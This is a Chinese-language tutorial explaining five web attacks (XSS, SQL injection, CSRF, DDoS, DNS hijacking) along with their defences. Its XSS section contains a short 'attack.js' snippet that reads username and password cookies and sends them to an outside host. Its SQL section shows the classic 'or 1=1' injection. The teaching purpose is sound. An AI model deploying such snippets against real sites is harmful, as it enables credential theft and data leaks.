一文搞懂 XSS攻击、SQL注入、CSRF攻击、DDOS攻击、DNS劫持

本文涉及的产品
云解析 DNS,旗舰版 1个月
全局流量管理 GTM,标准版 1个月
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
简介: 学好网络安全,以己之矛护己之盾

🎈  XSS攻击

  • 全称跨站脚本攻击 Cross Site Scripting
  • 为了与重叠样式表 CSS 进行区分,所以换了另一个缩写名称 XSS
  • XSS攻击者通过篡改网页,注入恶意的 HTML 脚本,一般是 javascript,在用户浏览网页时,控制用户浏览器进行恶意操作的一种攻击方式
  • XSS 攻击经常使用在论坛,博客等应用中。攻击者可以偷取用户Cookie、密码等重要数据,进而伪造交易、盗取用户财产、窃取情报等私密信息

1.jpg

  • 就像上图,如果用户在评论框中输入的并不是正常的文本,而是一段 javascript 脚本,而后台又没对该用户的数据进行处理,直接存入数据库,那么当其他用户过来访问该页面,浏览器必然会执行这段脚本
  • 当然这只是恶趣味,而真正的黑客并不会仅仅满足这样的恶趣味,可能更多的是想通过这些 注入脚本,获取你的 个人信息 ,甚至是你的账号密码等信息

2.jpg

  • 由上图可知,用户其实在评论的时候,引入了一个第三方脚本,在这个脚本中获取你浏览器的 cookie 信息,并发送到指定的接口进行保存处理,这样你的信息就已经泄露了


// attack.js 中的逻辑varuname=$.cookie('username'); // 获取账号varpwd=$.cookie('password'); // 获取密码// 发送请求$('body').appendTo('<script src=`http://autofelix.com/index.php?username=${uname}&password=${pwd}`></script>');


  • 在上面逻辑中,脚本中获取了你的个人信息,并将你的个人信息发送到后端 php 文件中进行处理保存,这样你的个人信息就已经泄露了,所以杜绝 xss攻击 在网络安全中非常的重要
  • 所以后端永远不要相信用户提交的数据,在接收用户提交的信息时候,要进行 消毒处理
  • 也就是过滤一些特殊的字符,比如 javascript 脚本中的 <> 进行转移 \<\> 再进行存储,这样就能有效的进行 xss 攻击的预防
  • 另外如果 cookie 中设置了 HttpOnly 属性,那么通过 js 脚本将无法读取到cookie 信息,这样也能有效的防止 XSS 攻击窃取 cookie 内容

xss.jpg


🎈  SQL注入

  • SQL注入 攻击指的是攻击者在 HTTP 请求中注入恶意 SQL 命令,服务器用请求参数构造数据库 SQL 命令时,恶意 SQL 被一起构造,并在数据库中执行,以便得到数据库中的感兴趣的数据或对数据库进行读取、修改、删除、插入等敏感的操作,从而导致数据被随意篡改
  • 但是 SQL注入 攻击,需要攻击者对数据库表有所了解才行,比如你的项目 开源 了,不小心公开了数据库的账号和密码;另外你的网站上线没有 关闭调试模式,有心者可以网站的根据错误回显可以猜测表结构;另外还有就是 盲注,也即是很多有心者会盲猜数据表结构,但是这种难度最大
  • SQL注入 可以通过预编译手段进行预防,绑定参数是最好的防 SQL 注入方法。现在流行的框架基本都实现了 SQL预编译参数绑定,恶意攻击的 SQL 会被当做 SQL 的参数,而不是 SQL 命令被执行
# 正常获取用户信息的sql
select*from users where id=1# sql注入了 1or1=1,就可以把用户表中的所有数据全部查出,导致数据泄露
select*from users where id=1or1=1

sql.jpg


🎈  CSRF攻击

  • CSRF 全称 Cross Site Request Forgery,跨站点请求伪造,攻击者通过跨站请求,以合法的用户身份进行非法操作,如转账交易、发表评论等。其核心是利用了浏览器 Cookie 或服务器的 Session 策略,盗取用户的身份信息
  • 在打开 A网站 的情况下,另开 Tab页面 打开恶意 网站B,此时在 B页面恶意意图 下,浏览器发起一个对 网站AHTTP 请求
  • 因为之前 A网站 已经打开了,浏览器存有 A网站 中的 Cookie 或其他用于身份认证的信息,这一次被 恶意意图 的请求,将会自动带上这些信息,这将会导致身份劫持,造成并非本人意愿的操作结果
  • 而对应 CSRF攻击 的防御策略有:表单token验证码Referer 检测

csrf.jpg


🎈  DDOS攻击

  • DDoS 全称 Distributed Denial of Service,分布式拒绝服务攻击。是拒绝服务攻击的升级版。拒绝攻击服务其实就是让你的服务不能正常给用户提供服务,也就是俗话说的服务宕机。常用于攻击对外提供服务的服务器,像常见的:Web服务邮件服务DNS服务即时通讯服务 这些等
  • 在早期发起 DoS攻击 是一件很容易的事情,只需要写个程序让服务过载,无暇提供正常服务即可,也就是一秒中请求服务多次,将目标服务器的内存跑崩
  • 后来随着技术对发展,现在的服务器都是分布式,并不是单一服务器提供服务,一个服务背后拥有着是数不清的 CDN节点,也是就拥有着数不清的Web服务器。想靠单台服务器去攻击这种分布式网络,无异于对方以卵击石 ,而且现在很多 DDOS 攻击 都不是免费的,所以很容易造成偷鸡不成蚀把米
  • 防御手段:随着技术发展到今天也并不能完全杜绝这种攻击的出现,只能通过技术去缓解。其中包括:流量清洗SYN Cookie 等等

ddos.jpg


🎈  DNS劫持

  • 当今互联网流量中,以 HTTP/HTTPS 为主的 Web服务 产生的流量占据了绝大部分
  • Web服务 发展的如火如荼,这背后离不开一个默默无闻的大功臣就是域名解析系统,DNS 提供将域名转换成 ip地址 的服务,每一个域名的解析都要经过 DNS ,所以可以看出它的重要性
  • 正是因为它的重要性,所以 DNS劫持 很容易被别有用心的人利用
  • 早期并没有考虑太多的安全性,所以导致 DNS 很容易被劫持
  • 如果攻击者篡改 DNS解析 设置,将域名由正常 IP 指向由攻击者控制的非法 IP,就会导致我们访问域名打开的却不是对应的网站,而是一个假冒或者别有用心的网站。这种攻击手段就是 DNS劫持
  • 通过 DNS劫持 简单点可以导致用户流失,严重的后果甚至惠将用户诱导至攻击者控制额非法网站,可能会造成银行卡号、手机号码、账号密码等重要信息的泄露
  • 后来出现了 DNSSEC 技术,虽然在一定程度上解决了劫持问题,但是国内并没有太多应用的案例,因此后来阿里、腾讯推出了 httpDNS 服务也一定程度上可以抑制这种攻击手段
  • 另外可以 安装SSL证书。SSL证书具备服务器身份认证功能,可以使DNS 劫持导致的连接错误情况及时被发现和终止

dns.jpg

相关文章
|
15天前
|
域名解析 网络协议 安全
什么是DNS劫持攻击以及如何避免此类攻击
【10月更文挑战第28天】DNS劫持攻击是一种网络攻击方式,攻击者通过篡改用户的DNS设置,将合法网站的域名解析为恶意网站的IP地址,使用户在不知情的情况下访问钓鱼网站。攻击手段包括在用户系统植入恶意软件、利用路由器漏洞或破解DNS通信等。为防止此类攻击,应使用安全软件、定期检查DNS设置、重置路由器密码及避免访问不安全的网站。
67 1
|
17天前
|
存储 安全 JavaScript
xss、csrf
【10月更文挑战第26天】防范 XSS 和 CSRF 攻击需要综合运用多种技术手段,从输入输出过滤、设置安全的 Cookie 属性、验证请求来源、添加令牌等多个方面入手,构建一个全面的安全防护体系,以确保网站和用户的安全。
|
5天前
|
存储 缓存 网络协议
如何防止DNS缓存中毒攻击(一)
DNS缓存中毒也称为DNS欺骗
27 10
|
10天前
|
SQL 安全 前端开发
让你彻底了解SQL注入、XSS和CSRF
了解SQL注入、XSS和CSRF
31 7
|
18天前
|
安全 前端开发 Java
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第26天】Web安全是现代软件开发的重要领域,本文深入探讨了XSS和CSRF两种常见攻击的原理及防御策略。针对XSS,介绍了输入验证与转义、使用CSP、WAF、HTTP-only Cookie和代码审查等方法。对于CSRF,提出了启用CSRF保护、设置CSRF Token、使用HTTPS、二次验证和用户教育等措施。通过这些策略,开发者可以构建更安全的Web应用。
56 4
|
17天前
|
安全 Go PHP
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第27天】本文深入解析了Web安全中的XSS和CSRF攻击防御策略。针对XSS,介绍了输入验证与净化、内容安全策略(CSP)和HTTP头部安全配置;针对CSRF,提出了使用CSRF令牌、验证HTTP请求头、限制同源策略和双重提交Cookie等方法,帮助开发者有效保护网站和用户数据安全。
45 2
|
13天前
|
SQL 存储 安全
什么是XSS攻击?什么是SQL注入攻击?什么是CSRF攻击?
理解并防范XSS、SQL注入和CSRF攻击是Web应用安全的基础。通过采用严格的输入验证、使用安全编码实践以及实现适当的身份验证和授权机制,可以有效防止这些常见的Web攻击,保障应用程序和用户的数据安全。
23 0
|
5天前
|
监控 Java 应用服务中间件
高级java面试---spring.factories文件的解析源码API机制
【11月更文挑战第20天】Spring Boot是一个用于快速构建基于Spring框架的应用程序的开源框架。它通过自动配置、起步依赖和内嵌服务器等特性,极大地简化了Spring应用的开发和部署过程。本文将深入探讨Spring Boot的背景历史、业务场景、功能点以及底层原理,并通过Java代码手写模拟Spring Boot的启动过程,特别是spring.factories文件的解析源码API机制。
16 2
|
1月前
|
缓存 Java 程序员
Map - LinkedHashSet&Map源码解析
Map - LinkedHashSet&Map源码解析
67 0
|
1月前
|
算法 Java 容器
Map - HashSet & HashMap 源码解析
Map - HashSet & HashMap 源码解析
52 0

相关产品

  • 云解析DNS
  • 推荐镜像

    更多